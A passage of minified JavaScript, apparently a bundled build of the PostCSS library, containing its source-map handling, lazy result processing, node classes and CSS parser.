n,i=e.length-2;for(;r<i;)if(n=r+(i-r>>1),t<e[n])i=n-1;else{if(!(t>=e[n+1])){r=n;break}r=n+1}}return{col:t-e[r]+1,line:r+1}}mapResolve(t){return/^\\w+:\\/\\//.test(t)?t:o(this.map.consumer().sourceRoot||this.map.root||\".\",t)}origin(t,e,r,n){if(!this.map)return!1;let o,a,s=this.map.consumer(),u=s.originalPositionFor({column:e,line:t});if(!u.source)return!1;\"number\"==typeof r&&(o=s.originalPositionFor({column:n,line:r})),a=i(u.source)?c(u.source):new URL(u.source,this.map.consumer().sourceRoot||c(this.map.mapFile));let p={column:u.column,endColumn:o&&o.column,endLine:o&&o.line,line:u.line,url:a.toString()};if(\"file:\"===a.protocol){if(!l)throw new Error(\"file: protocol is not available in this PostCSS build\");p.file=l(a)}let d=s.sourceContentFor(u.source);return d&&(p.source=d),p}toJSON(){let t={};for(let e of[\"hasBOM\",\"css\",\"file\",\"id\"])null!=this[e]&&(t[e]=this[e]);return this.map&&(t.map={...this.map},t.map.consumerCache&&(t.map.consumerCache=void 0)),t}}t.exports=A,A.default=A,d&&d.registerInput&&d.registerInput(A)},6966(t,e,r){\"use strict\";let n=r(7793),i=r(145),o=r(3604),a=r(9577),s=r(3717),l=r(5644),c=r(3303),{isClean:u,my:p}=r(4151);r(6156);const d={atrule:\"AtRule\",comment:\"Comment\",decl:\"Declaration\",document:\"Document\",root:\"Root\",rule:\"Rule\"},m={AtRule:!0,AtRuleExit:!0,Comment:!0,CommentExit:!0,Declaration:!0,DeclarationExit:!0,Document:!0,DocumentExit:!0,Once:!0,OnceExit:!0,postcssPlugin:!0,prepare:!0,Root:!0,RootExit:!0,Rule:!0,RuleExit:!0},f={Once:!0,postcssPlugin:!0,prepare:!0};function h(t){return\"object\"==typeof t&&\"function\"==typeof t.then}function g(t){let e=!1,r=d[t.type];return\"decl\"===t.type?e=t.prop.toLowerCase():\"atrule\"===t.type&&(e=t.name.toLowerCase()),e&&t.append?[r,r+\"-\"+e,0,r+\"Exit\",r+\"Exit-\"+e]:e?[r,r+\"-\"+e,r+\"Exit\",r+\"Exit-\"+e]:t.append?[r,0,r+\"Exit\"]:[r,r+\"Exit\"]}function A(t){let e;return e=\"document\"===t.type?[\"Document\",0,\"DocumentExit\"]:\"root\"===t.type?[\"Root\",0,\"RootExit\"]:g(t),{eventIndex:0,events:e,iterator:0,node:t,visitorIndex:0,visitors:[]}}function b(t){return t[u]=!1,t.nodes&&t.nodes.forEach(t=>b(t)),t}let y={};class v{get content(){return this.stringify().content}get css(){return this.stringify().css}get map(){return this.stringify().map}get messages(){return this.sync().messages}get opts(){return this.result.opts}get processor(){return this.result.processor}get root(){return this.sync().root}get[Symbol.toStringTag](){return\"LazyResult\"}constructor(t,e,r){let i;if(this.stringified=!1,this.processed=!1,\"object\"!=typeof e||null===e||\"root\"!==e.type&&\"document\"!==e.type)if(e instanceof v||e instanceof s)i=b(e.root),e.map&&(void 0===r.map&&(r.map={}),r.map.inline||(r.map.inline=!1),r.map.prev=e.map);else{let t=a;r.syntax&&(t=r.syntax.parse),r.parser&&(t=r.parser),t.parse&&(t=t.parse);try{i=t(e,r)}catch(t){this.processed=!0,this.error=t}i&&!i[p]&&n.rebuild(i)}else i=b(e);this.result=new s(t,i,r),this.helpers={...y,postcss:y,result:this.result},this.plugins=this.processor.plugins.map(t=>\"object\"==typeof t&&t.prepare?{...t,...t.prepare(this.result)}:t)}async(){return this.error?Promise.reject(this.error):this.processed?Promise.resolve(this.result):(this.processing||(this.processing=this.runAsync()),this.processing)}catch(t){return this.async().catch(t)}finally(t){return this.async().then(t,t)}getAsyncError(){throw new Error(\"Use process(css).then(cb) to work with async plugins\")}handleError(t,e){let r=this.result.lastPlugin;try{e&&e.addToError(t),this.error=t,\"CssSyntaxError\"!==t.name||t.plugin?r.postcssVersion:(t.plugin=r.postcssPlugin,t.setMessage())}catch(t){console&&console.error&&console.error(t)}return t}prepareVisitors(){this.listeners={};let t=(t,e,r)=>{this.listeners[e]||(this.listeners[e]=[]),this.listeners[e].push([t,r])};for(let e of this.plugins)if(\"object\"==typeof e)for(let r in e){if(!m[r]&&/^[A-Z]/.test(r))throw new Error(`Unknown event ${r} in ${e.postcssPlugin}. Try to update PostCSS (${this.processor.version} now).`);if(!f[r])if(\"object\"==typeof e[r])for(let n in e[r])t(e,\"*\"===n?r:r+\"-\"+n.toLowerCase(),e[r][n]);else\"function\"==typeof e[r]&&t(e,r,e[r])}this.hasListener=Object.keys(this.listeners).length>0}async runAsync(){this.plugin=0;for(let t=0;t<this.plugins.length;t++){let e=this.plugins[t],r=this.runOnRoot(e);if(h(r))try{await r}catch(t){throw this.handleError(t)}}if(this.prepareVisitors(),this.hasListener){let t=this.result.root;for(;!t[u];){t[u]=!0;let e=[A(t)];for(;e.length>0;){let t=this.visitTick(e);if(h(t))try{await t}catch(t){let r=e[e.length-1].node;throw this.handleError(t,r)}}}if(this.listeners.OnceExit)for(let[e,r]of this.listeners.OnceExit){this.result.lastPlugin=e;try{if(\"document\"===t.type){let e=t.nodes.map(t=>r(t,this.helpers));await Promise.all(e)}else await r(t,this.helpers)}catch(t){throw this.handleError(t)}}}return this.processed=!0,this.stringify()}runOnRoot(t){this.result.lastPlugin=t;try{if(\"object\"==typeof t&&t.Once){if(\"document\"===this.result.root.type){let e=this.result.root.nodes.map(e=>t.Once(e,this.helpers));return h(e[0])?Promise.all(e):e}return t.Once(this.result.root,this.helpers)}if(\"function\"==typeof t)return t(this.result.root,this.result)}catch(t){throw this.handleError(t)}}stringify(){if(this.error)throw this.error;if(this.stringified)return this.result;this.stringified=!0,this.sync();let t=this.result.opts,e=c;t.syntax&&(e=t.syntax.stringify),t.stringifier&&(e=t.stringifier),e.stringify&&(e=e.stringify);let r=new o(e,this.result.root,this.result.opts).generate();return this.result.css=r[0],this.result.map=r[1],this.result}sync(){if(this.error)throw this.error;if(this.processed)return this.result;if(this.processed=!0,this.processing)throw this.getAsyncError();for(let t of this.plugins){if(h(this.runOnRoot(t)))throw this.getAsyncError()}if(this.prepareVisitors(),this.hasListener){let t=this.result.root;for(;!t[u];)t[u]=!0,this.walkSync(t);if(this.listeners.OnceExit)if(\"document\"===t.type)for(let e of t.nodes)this.visitSync(this.listeners.OnceExit,e);else this.visitSync(this.listeners.OnceExit,t)}return this.result}then(t,e){return this.async().then(t,e)}toString(){return this.css}visitSync(t,e){for(let[r,n]of t){let t;this.result.lastPlugin=r;try{t=n(e,this.helpers)}catch(t){throw this.handleError(t,e.proxyOf)}if(\"root\"!==e.type&&\"document\"!==e.type&&!e.parent)return!0;if(h(t))throw this.getAsyncError()}}visitTick(t){let e=t[t.length-1],{node:r,visitors:n}=e;if(\"root\"!==r.type&&\"document\"!==r.type&&!r.parent)return void t.pop();if(n.length>0&&e.visitorIndex<n.length){let[t,i]=n[e.visitorIndex];e.visitorIndex+=1,e.visitorIndex===n.length&&(e.visitors=[],e.visitorIndex=0),this.result.lastPlugin=t;try{return i(r.toProxy(),this.helpers)}catch(t){throw this.handleError(t,r)}}if(0!==e.iterator){let n,i=e.iterator;for(;n=r.nodes[r.indexes[i]];)if(r.indexes[i]+=1,!n[u])return n[u]=!0,void t.push(A(n));e.iterator=0,delete r.indexes[i]}let i=e.events;for(;e.eventIndex<i.length;){let t=i[e.eventIndex];if(e.eventIndex+=1,0===t)return void(r.nodes&&r.nodes.length&&(r[u]=!0,e.iterator=r.getIterator()));if(this.listeners[t])return void(e.visitors=this.listeners[t])}t.pop()}walkSync(t){t[u]=!0;let e=g(t);for(let r of e)if(0===r)t.nodes&&t.each(t=>{t[u]||this.walkSync(t)});else{let e=this.listeners[r];if(e&&this.visitSync(e,t.toProxy()))return}}warnings(){return this.sync().warnings()}}v.registerPostcss=t=>{y=t},t.exports=v,v.default=v,l.registerLazyResult(v),i.registerLazyResult(v)},1752(t){\"use strict\";let e={comma:t=>e.split(t,[\",\"],!0),space:t=>e.split(t,[\" \",\"\\n\",\"\\t\"]),split(t,e,r){let n=[],i=\"\",o=!1,a=0,s=!1,l=\"\",c=!1;for(let r of t)c?c=!1:\"\\\\\"===r?c=!0:s?r===l&&(s=!1):'\"'===r||\"'\"===r?(s=!0,l=r):\"(\"===r?a+=1:\")\"===r?a>0&&(a-=1):0===a&&e.includes(r)&&(o=!0),o?(\"\"!==i&&n.push(i.trim()),i=\"\",o=!1):i+=r;return(r||\"\"!==i)&&n.push(i.trim()),n}};t.exports=e,e.default=e},3604(t,e,r){\"use strict\";let{dirname:n,relative:i,resolve:o,sep:a}=r(197),{SourceMapConsumer:s,SourceMapGenerator:l}=r(1866),{pathToFileURL:c}=r(2739),u=r(1106),p=Boolean(s&&l),d=Boolean(n&&o&&i&&a);t.exports=class{constructor(t,e,r,n){this.stringify=t,this.mapOpts=r.map||{},this.root=e,this.opts=r,this.css=n,this.originalCSS=n,this.usesFileUrls=!this.mapOpts.from&&this.mapOpts.absolute,this.memoizedFileURLs=new Map,this.memoizedPaths=new Map,this.memoizedURLs=new Map}addAnnotation(){let t;t=this.isInline()?\"data:application/json;base64,\"+this.toBase64(this.map.toString()):\"string\"==typeof this.mapOpts.annotation?this.mapOpts.annotation:\"function\"==typeof this.mapOpts.annotation?this.mapOpts.annotation(this.opts.to,this.root):this.outputFile()+\".map\";let e=\"\\n\";this.css.includes(\"\\r\\n\")&&(e=\"\\r\\n\"),this.css+=e+\"/*# sourceMappingURL=\"+t+\" */\"}applyPrevMaps(){for(let t of this.previous()){let e,r=this.toUrl(this.path(t.file)),i=t.root||n(t.file);!1===this.mapOpts.sourcesContent?(e=new s(t.text),e.sourcesContent&&(e.sourcesContent=null)):e=t.consumer(),this.map.applySourceMap(e,r,this.toUrl(this.path(i)))}}clearAnnotation(){if(!1!==this.mapOpts.annotation)if(this.root){let t;for(let e=this.root.nodes.length-1;e>=0;e--)t=this.root.nodes[e],\"comment\"===t.type&&t.text.startsWith(\"# sourceMappingURL=\")&&this.root.removeChild(e)}else if(this.css){let t;for(;-1!==(t=this.css.lastIndexOf(\"/*#\"));){let e=this.css.indexOf(\"*/\",t+3);if(-1===e)break;for(;t>0&&\"\\n\"===this.css[t-1];)t--;this.css=this.css.slice(0,t)+this.css.slice(e+2)}}}generate(){if(this.clearAnnotation(),d&&p&&this.isMap())return this.generateMap();{let t=\"\";return this.stringify(this.root,e=>{t+=e}),[t]}}generateMap(){if(this.root)this.generateString();else if(1===this.previous().length){let t=this.previous()[0].consumer();t.file=this.outputFile(),this.map=l.fromSourceMap(t,{ignoreInvalidMapping:!0})}else this.map=new l({file:this.outputFile(),ignoreInvalidMapping:!0}),this.map.addMapping({generated:{column:0,line:1},original:{column:0,line:1},source:this.opts.from?this.toUrl(this.path(this.opts.from)):\"<no source>\"});return this.isSourcesContent()&&this.setSourcesContent(),this.root&&this.previous().length>0&&this.applyPrevMaps(),this.isAnnotation()&&this.addAnnotation(),this.isInline()?[this.css]:[this.css,this.map]}generateString(){this.css=\"\",this.map=new l({file:this.outputFile(),ignoreInvalidMapping:!0});let t,e,r=1,n=1,i=\"<no source>\",o={generated:{column:0,line:0},original:{column:0,line:0},source:\"\"};this.stringify(this.root,(a,s,l)=>{if(this.css+=a,s&&\"end\"!==l&&(o.generated.line=r,o.generated.column=n-1,s.source&&s.source.start?(o.source=this.sourcePath(s),o.original.line=s.source.start.line,o.original.column=s.source.start.column-1,this.map.addMapping(o)):(o.source=i,o.original.line=1,o.original.column=0,this.map.addMapping(o))),e=a.match(/\\n/g),e?(r+=e.length,t=a.lastIndexOf(\"\\n\"),n=a.length-t):n+=a.length,s&&\"start\"!==l){let t=s.parent||{raws:{}};(\"decl\"===s.type||\"atrule\"===s.type&&!s.nodes)&&s===t.last&&!t.raws.semicolon||(s.source&&s.source.end?(o.source=this.sourcePath(s),o.original.line=s.source.end.line,o.original.column=s.source.end.column-1,o.generated.line=r,o.generated.column=n-2,this.map.addMapping(o)):(o.source=i,o.original.line=1,o.original.column=0,o.generated.line=r,o.generated.column=n-1,this.map.addMapping(o)))}})}isAnnotation(){return!!this.isInline()||(void 0!==this.mapOpts.annotation?this.mapOpts.annotation:!this.previous().length||this.previous().some(t=>t.annotation))}isInline(){if(void 0!==this.mapOpts.inline)return this.mapOpts.inline;let t=this.mapOpts.annotation;return(void 0===t||!0===t)&&(!this.previous().length||this.previous().some(t=>t.inline))}isMap(){return void 0!==this.opts.map?!!this.opts.map:this.previous().length>0}isSourcesContent(){return void 0!==this.mapOpts.sourcesContent?this.mapOpts.sourcesContent:!this.previous().length||this.previous().some(t=>t.withContent())}outputFile(){return this.opts.to?this.path(this.opts.to):this.opts.from?this.path(this.opts.from):\"to.css\"}path(t){if(this.mapOpts.absolute)return t;if(60===t.charCodeAt(0))return t;if(/^\\w+:\\/\\//.test(t))return t;let e=this.memoizedPaths.get(t);if(e)return e;let r=this.opts.to?n(this.opts.to):\".\";\"string\"==typeof this.mapOpts.annotation&&(r=n(o(r,this.mapOpts.annotation)));let a=i(r,t);return this.memoizedPaths.set(t,a),a}previous(){if(!this.previousMaps)if(this.previousMaps=[],this.root)this.root.walk(t=>{if(t.source&&t.source.input.map){let e=t.source.input.map;this.previousMaps.includes(e)||this.previousMaps.push(e)}});else{let t=new u(this.originalCSS,this.opts);t.map&&this.previousMaps.push(t.map)}return this.previousMaps}setSourcesContent(){let t={};if(this.root)this.root.walk(e=>{if(e.source){let r=e.source.input.from;if(r&&!t[r]){t[r]=!0;let n=this.usesFileUrls?this.toFileUrl(r):this.toUrl(this.path(r));this.map.setSourceContent(n,e.source.input.css)}}});else if(this.css){let t=this.opts.from?this.toUrl(this.path(this.opts.from)):\"<no source>\";this.map.setSourceContent(t,this.css)}}sourcePath(t){return this.mapOpts.from?this.toUrl(this.mapOpts.from):this.usesFileUrls?this.toFileUrl(t.source.input.from):this.toUrl(this.path(t.source.input.from))}toBase64(t){return Buffer?Buffer.from(t).toString(\"base64\"):window.btoa(unescape(encodeURIComponent(t)))}toFileUrl(t){let e=this.memoizedFileURLs.get(t);if(e)return e;if(c){let e=c(t).toString();return this.memoizedFileURLs.set(t,e),e}throw new Error(\"`map.absolute` option is not available in this PostCSS build\")}toUrl(t){let e=this.memoizedURLs.get(t);if(e)return e;\"\\\\\"===a&&(t=t.replace(/\\\\/g,\"/\"));let r=encodeURI(t).replace(/[#?]/g,encodeURIComponent);return this.memoizedURLs.set(t,r),r}}},4211(t,e,r){\"use strict\";let n=r(3604),i=r(9577);const o=r(3717);let a=r(3303);r(6156);class s{get content(){return this.result.css}get css(){return this.result.css}get map(){return this.result.map}get messages(){return[]}get opts(){return this.result.opts}get processor(){return this.result.processor}get root(){if(this._root)return this._root;let t,e=i;try{t=e(this._css,this._opts)}catch(t){this.error=t}if(this.error)throw this.error;return this._root=t,t}get[Symbol.toStringTag](){return\"NoWorkResult\"}constructor(t,e,r){e=e.toString(),this.stringified=!1,this._processor=t,this._css=e,this._opts=r,this._map=void 0;let i=a;this.result=new o(this._processor,void 0,this._opts),this.result.css=e;let s=this;Object.defineProperty(this.result,\"root\",{get:()=>s.root});let l=new n(i,void 0,this._opts,e);if(l.isMap()){let[t,e]=l.generate();t&&(this.result.css=t),e&&(this.result.map=e)}else l.clearAnnotation(),this.result.css=l.css}async(){return this.error?Promise.reject(this.error):Promise.resolve(this.result)}catch(t){return this.async().catch(t)}finally(t){return this.async().then(t,t)}sync(){if(this.error)throw this.error;return this.result}then(t,e){return this.async().then(t,e)}toString(){return this._css}warnings(){return[]}}t.exports=s,s.default=s},3152(t,e,r){\"use strict\";let n=r(3614),i=r(7668),o=r(3303),{isClean:a,my:s}=r(4151);function l(t,e){let r=new t.constructor;for(let n in t){if(!Object.prototype.hasOwnProperty.call(t,n))continue;if(\"proxyCache\"===n)continue;let i=t[n],o=typeof i;\"parent\"===n&&\"object\"===o?e&&(r[n]=e):\"source\"===n?r[n]=i:Array.isArray(i)?r[n]=i.map(t=>l(t,r)):(\"object\"===o&&null!==i&&(i=l(i)),r[n]=i)}return r}function c(t,e){if(e&&void 0!==e.offset)return e.offset;let r=1,n=1,i=0;for(let o=0;o<t.length;o++){if(n===e.line&&r===e.column){i=o;break}\"\\n\"===t[o]?(r=1,n+=1):r+=1}return i}class u{get proxyOf(){return this}constructor(t={}){this.raws={},this[a]=!1,this[s]=!0;for(let e in t)if(\"nodes\"===e){this.nodes=[];for(let r of t[e])\"function\"==typeof r.clone?this.append(r.clone()):this.append(r)}else this[e]=t[e]}addToError(t){if(t.postcssNode=this,t.stack&&this.source&&/\\n\\s{4}at /.test(t.stack)){let e=this.source;t.stack=t.stack.replace(/\\n\\s{4}at /,`$&${e.input.from}:${e.start.line}:${e.start.column}$&`)}return t}after(t){return this.parent.insertAfter(this,t),this}assign(t={}){for(let e in t)this[e]=t[e];return this}before(t){return this.parent.insertBefore(this,t),this}cleanRaws(t){delete this.raws.before,delete this.raws.after,t||delete this.raws.between}clone(t={}){let e=l(this);for(let r in t)e[r]=t[r];return e}cloneAfter(t={}){let e=this.clone(t);return this.parent.insertAfter(this,e),e}cloneBefore(t={}){let e=this.clone(t);return this.parent.insertBefore(this,e),e}error(t,e={}){if(this.source){let{end:r,start:n}=this.rangeBy(e);return this.source.input.error(t,{column:n.column,line:n.line},{column:r.column,line:r.line},e)}return new n(t)}getProxyProcessor(){return{get:(t,e)=>\"proxyOf\"===e?t:\"root\"===e?()=>t.root().toProxy():t[e],set:(t,e,r)=>(t[e]===r||(t[e]=r,\"prop\"!==e&&\"value\"!==e&&\"name\"!==e&&\"params\"!==e&&\"important\"!==e&&\"text\"!==e||t.markDirty()),!0)}}markClean(){this[a]=!0}markDirty(){if(this[a]){this[a]=!1;let t=this;for(;t=t.parent;)t[a]=!1}}next(){if(!this.parent)return;let t=this.parent.index(this);return this.parent.nodes[t+1]}positionBy(t={}){let e=this.source.start;if(t.index)e=this.positionInside(t.index);else if(t.word){let r=\"document\"in this.source.input?this.source.input.document:this.source.input.css,n=r.slice(c(r,this.source.start),c(r,this.source.end)).indexOf(t.word);-1!==n&&(e=this.positionInside(n))}return e}positionInside(t){let e=this.source.start.column,r=this.source.start.line,n=\"document\"in this.source.input?this.source.input.document:this.source.input.css,i=c(n,this.source.start),o=i+t;for(let t=i;t<o;t++)\"\\n\"===n[t]?(e=1,r+=1):e+=1;return{column:e,line:r,offset:o}}prev(){if(!this.parent)return;let t=this.parent.index(this);return this.parent.nodes[t-1]}rangeBy(t={}){let e=\"document\"in this.source.input?this.source.input.document:this.source.input.css,r={column:this.source.start.column,line:this.source.start.line,offset:c(e,this.source.start)},n=this.source.end?{column:this.source.end.column+1,line:this.source.end.line,offset:\"number\"==typeof this.source.end.offset?this.source.end.offset:c(e,this.source.end)+1}:{column:r.column+1,line:r.line,offset:r.offset+1};if(t.word){let i=e.slice(c(e,this.source.start),c(e,this.source.end)).indexOf(t.word);-1!==i&&(r=this.positionInside(i),n=this.positionInside(i+t.word.length))}else t.start?r={column:t.start.column,line:t.start.line,offset:c(e,t.start)}:t.index&&(r=this.positionInside(t.index)),t.end?n={column:t.end.column,line:t.end.line,offset:c(e,t.end)}:\"number\"==typeof t.endIndex?n=this.positionInside(t.endIndex):t.index&&(n=this.positionInside(t.index+1));return(n.line<r.line||n.line===r.line&&n.column<=r.column)&&(n={column:r.column+1,line:r.line,offset:r.offset+1}),{end:n,start:r}}raw(t,e){return(new i).raw(this,t,e)}remove(){return this.parent&&this.parent.removeChild(this),this.parent=void 0,this}replaceWith(...t){if(this.parent){let e=this,r=!1;for(let n of t)n===this?r=!0:r?(this.parent.insertAfter(e,n),e=n):this.parent.insertBefore(e,n);r||this.remove()}return this}root(){let t=this;for(;t.parent&&\"document\"!==t.parent.type;)t=t.parent;return t}toJSON(t,e){let r={},n=null==e;e=e||new Map;let i=0;for(let t in this){if(!Object.prototype.hasOwnProperty.call(this,t))continue;if(\"parent\"===t||\"proxyCache\"===t)continue;let n=this[t];if(Array.isArray(n))r[t]=n.map(t=>\"object\"==typeof t&&t.toJSON?t.toJSON(null,e):t);else if(\"object\"==typeof n&&n.toJSON)r[t]=n.toJSON(null,e);else if(\"source\"===t){if(null==n)continue;let o=e.get(n.input);null==o&&(o=i,e.set(n.input,i),i++),r[t]={end:n.end,inputId:o,start:n.start}}else r[t]=n}return n&&(r.inputs=[...e.keys()].map(t=>t.toJSON())),r}toProxy(){return this.proxyCache||(this.proxyCache=new Proxy(this,this.getProxyProcessor())),this.proxyCache}toString(t=o){t.stringify&&(t=t.stringify);let e=\"\";return t(this,t=>{e+=t}),e}warn(t,e,r={}){let n={node:this};for(let t in r)n[t]=r[t];return t.warn(e,n)}}t.exports=u,u.default=u},9577(t,e,r){\"use strict\";let n=r(7793),i=r(1106),o=r(8339);function a(t,e){let r=new i(t,e),n=new o(r);try{n.parse()}catch(t){throw t}return n.root}t.exports=a,a.default=a,n.registerParse(a)},8339(t,e,r){\"use strict\";let n=r(396),i=r(9371),o=r(5238),a=r(5644),s=r(1534),l=r(5781);const c={empty:!0,space:!0};t.exports=class{constructor(t){this.input=t,this.root=new a,this.current=this.root,this.spaces=\"\",this.semicolon=!1,this.createTokenizer(),this.root.source={input:t,start:{column:1,line:1,offset:0}}}atrule(t){let e,r,i,o=new n;o.name=t[1].slice(1),\"\"===o.name&&this.unnamedAtrule(o,t),this.init(o,t[2]);let a=!1,s=!1,l=[],c=[];for(;!this.tokenizer.endOfFile();){if(e=(t=this.tokenizer.nextToken())[0],\"(\"===e||\"[\"===e?c.push(\"(\"===e?\")\":\"]\"):\"{\"===e&&c.length>0?c.push(\"}\"):e===c[c.length-1]&&c.pop(),0===c.length){if(\";\"===e){o.source.end=this.getPosition(t[2]),o.source.end.offset++,this.semicolon=!0;break}if(\"{\"===e){s=!0;break}if(\"}\"===e){if(l.length>0){for(i=l.length-1,r=l[i];r&&\"space\"===r[0];)r=l[--i];r&&(o.source.end=this.getPosition(r[3]||r[2]),o.source.end.offset++)}this.end(t);break}l.push(t)}else l.push(t);if(this.tokenizer.endOfFile()){a=!0;break}}o.raws.between=this.spacesAndCommentsFromEnd(l),l.length?(o.raws.afterName=this.spacesAndCommentsFromStart(l),this.raw(o,\"params\",l),a&&(t=l[l.length-1],o.source.end=this.getPosition(t[3]||t[2]),o.source.end.offset++,this.spaces=o.raws.between,o.raws.between=\"\")):(o.raws.afterName=\"\",o.params=\"\"),s&&(o.nodes=[],this.current=o)}checkMissedSemicolon(t){let e=this.colon(t);if(!1===e)return;let r,n=0;for(let i=e-1;i>=0&&(r=t[i],\"space\"===r[0]||(n+=1,2!==n));i--);throw this.input.error(\"Missed semicolon\",\"word\"===r[0]?r[3]+1:r[2])}colon(t){let e,r,n,i=0;for(let[o,a]of t.entries()){if(r=a,n=r[0],\"(\"===n&&(i+=1),\")\"===n&&(i-=1),0===i&&\":\"===n){if(e){if(\"word\"===e[0]&&\"progid\"===e[1])continue;return o}this.doubleColon(r)}e=r}return!1}comment(t){let e=new i;this.init(e,t[2]),e.source.end=this.getPosition(t[3]||t[2]),e.source.end.offset++;let r=t[1].slice(2,-2);if(r.trim()){let t=r.match(/^(\\s*)([^]*\\S)(\\s*)$/);e.text=t[2],e.raws.left=t[1],e.raws.right=t[3]}else e.text=\"\",e.raws.left=r,e.raws.right=\"\"}createTokenizer(){this.tokenizer=l(this.input)}decl(t,e){let r=new o;this.init(r,t[0][2]);let n,i=t[t.length-1];for(\";\"===i[0]&&(this.semicolon=!0,t.pop()),r.source.end=this.getPosition(i[3]||i[2]||function(t){for(let e=t.length-1;e>=0;e--){let r=t[e],n=r[3]||r[2];if(n)return n}}(t)),r.source.end.offset++;\"word\"!==t[0][0];)1===t.length&&this.unknownWord(t),r.raws.before+=t.shift()[1];for(r.source.start=this.getPosition(t[0][2]),r.prop=\"\";t.length;){let e=t[0][0];if(\":\"===e||\"space\"===e||\"comment\"===e)break;r.prop+=t.shift()[1]}for(r.raws.between=\"\";t.length;){if(n=t.shift(),\":\"===n[0]){r.raws.between+=n[1];break}\"word\"===n[0]&&/\\w/.test(n[1])&&this.unknownWord([n]),r.raws.between+=n[1]}\"_\"!==r.prop[0]&&\"*\"!==r.prop[0]||(r.raws.before+=r.prop[0],r.prop=r.prop.slice(1));let a,s=[];for(;t.length&&(a=t[0][0],\"space\"===a||\"comment\"===a);)s.push(t.shift());this.precheckMissedSemicolon(t);for(let e=t.length-1;e>=0;e--){if(n=t[e],\"!important\"===n[1].toLowerCase()){r.important=!0;let n=this.stringFrom(t,e);n=this.spacesFromEnd(t)+n,\" !important\"!==n&&(r.raws.important=n);break}if(\"important\"===n[1].toLowerCase()){let n=t.slice(0),i=\"\";for(let t=e;t>0;t--){let e=n[t][0];if(i.trim().startsWith(\"!\")&&\"space\"!==e)break;i=n.pop()[1]+i}i.trim().startsWith(\"!\")&&(r.important=!0,r.raws.important=i,t=n)}if(\"space\"!==n[0]&&\"comment\"!==n[0])break}t.some(t=>\"space\"!==t[0]&&\"comment\"!==t[0])&&(r.raws.between+=s.map(t=>t[1]).join(\"\"),s=[]),this.raw(r,\"value\",s.concat(t),e),r.value.includes(\":\")&&!e&&this.checkMissedSemicolon(t)}doubleColon(t){throw this.input.error(\"Double colon\",{offset:t[2]},{offset:t[2]+t[1].length})}emptyRule(t){let e=new s;this.init(e,t[2]),e.selector=\"\",e.raws.between=\"\",this.current=e}end(t){this.current.nodes&&this.current.nodes.length&&(this.current.raws.semicolon=this.semicolon),this.semicolon=!1,this.current.raws.after=(this.current.raws.after||\"\")+this.spaces,this.spaces=\"\",this.current.parent?(this.current.source.end=this.getPosition(t[2]),this.current.source.end.offset++,this.current=this.current.parent):this.unexpectedClose(t)}endFile(){this.current.parent&&this.unclosedBlock(),this.current.nodes&&this.current.nodes.length&&(this.current.raws.semicolon=this.semicolon),this.current.raws.after=(this.current.raws.after||\"\")+this.spaces,this.root.source.end=this.getPosition(this.tokenizer.position())}freeSemicolon(t){if(this.spaces+=t[1],this.current.nodes){let e=this.current.nodes[this.current.nodes.length-1];e&&\"rule\"===e.type&&!e.raws.ownSemicolon&&(e.raws.ownSemicolon=this.spaces,this.spaces=\"\",e.source.end=this.getPosition(t[2]),e.source.end.offset+=e.raws.ownSemicolon.length)}}getPosition(t){let e=this.input.fromOffset(t);return{column:e.col,line:e.line,offset:t}}init(t,e){this.current.push(t),t.source={input:this.input,start:this.getPosition(e)},t.raws.before=this.spaces,this.spaces=\"\",\"comment\"!==t.type&&(this.semicolon=!1)}other(t){let e=!1,r=null,n=!1,i=null,o=[],a=t[1].startsWith(\"--\"),s=[],l=t;for(;l;){if(r=l[0],s.push(l),\"(\"===r||\"[\"===r)i||(i=l),o.push(\"(\"===r?\")\":\"]\");else if(a&&n&&\"{\"===r)i||(i=l),o.push(\"}\");else if(0===o.length){if(\";\"===r){if(n)return void this.decl(s,a);break}if(\"{\"===r)return void this.rule(s);if(\"}\"===r){this.tokenizer.back(s.pop()),e=!0;break}\":\"===r&&(n=!0)}else r===o[o.length-1]&&(o.pop(),0===o.length&&(i=null));l=this.tokenizer.nextToken()}if(this.tokenizer.endOfFile()&&(e=!0),o.length>0&&this.unclosedBracket(i),e&&n){if(!a)for(;s.length&&(l=s[s.length-1][0],\"space\"===l||\"comment\"===l);)this.tokenizer.back(s.pop());this.decl(s,a)}else this.unknownWord(s)}parse(){let t;for(;!this.tokenizer.endOfFile();)switch(t=this.tokenizer.nextToken(),t[0]){case\"space\":this.spaces+=t[1];break;case\";\":this.freeSemicolon(t);break;case\"}\":this.end(t);break;case\"comment\":this.comment(t);break;case\"at-word\":this.atrule(t);break;case\"{\":this.emptyRule(t);break;default:this.other(t)}this.endFile()}precheckMissedSemicolon(){}raw(t,e,r,n){let i,o,a,s,l=r.length,u=\"\",p=!0;for(let t=0;t<l;t+=1)i=r[t],o=i[0],\"space\"!==o||t!==l-1||n?\"comment\"===o?(s=r[t-1]?r[t-1][0]:\"empty\",a=r[t+1]?r[t+1][0]:\"empty\",c[s]||c[a]||\",\"===u.slice(-1)?p=!1:u+=i[1]):u+=i[1]:p=!1;if(!p){let n=r.reduce((t,e)=>t+e[1],\"\");t.raws[e]={raw:n,value:u}}t[e]=u}rule(t){t.pop();let e=new s;this.init(e,t[0][2]),e.raws.between=this.spacesAndCommentsFromEnd(t),this.raw(e,\"selector\",t),this.current=e}spacesAndCommentsFromEnd(t){let e,r=\"\";for(;t.length&&(e=t[t.length-1][0],\"space\"===e||\"comment\"===e);)r=t.pop()[1]+r;return r}spacesAndCommentsFromStart(t){let e,r=\"\";for(;t.length&&(e=t[0][0],\"space\"===e||\"comment\"===e);)r+=t.shift()[1];return r}spacesFromEnd(t){let e,r=\"\";for(;t.length&&(e=t[t.length-1][0],\"space\"===e);)r=t.pop()[1]+r;return r}stringFrom(t,e){let r=\"\";for(let n=e;n<t.length;n++)r+=t[n][1];return t.splice(e,t.length-e),r}unclosedBlock(){let t=this.current.source.start;throw this.input.error(\"Unclosed block\",t.line,t.column)}unclosedBracket(t){throw this.input.error(\"Unclosed bracket\",{offset:t[2]},{offset:t[2]+1})}unexpectedClose(t){throw this.input.error(\"Unexpected }\",{offset:t[2]},{offset:t[2]+1})}unknownWord(t){throw this.input.error(\"Unknown word \"+t[0][1],{offset:t[0][2]},{offset:t[0][2]+t[0][1].length})}unnamedAtrule(t,e){throw this.input.error(\"At-rule without name\",{offset:e[2]},{offset:e[2]+e[1].length})}}},2895(t,e,r){\"use strict\";let n=r(396),i=r(9371),o=r(7793),a=r(3614),s=r(5238),l=r(145),c=r(3438),u=r(1106),p=r(6966),d=r(1752),m=r(3152),f=r(9577),h=r(6846),g=r(3717),A=r(5644),b=r(1534),y=r(3303),v=r(38);function x(...t){return 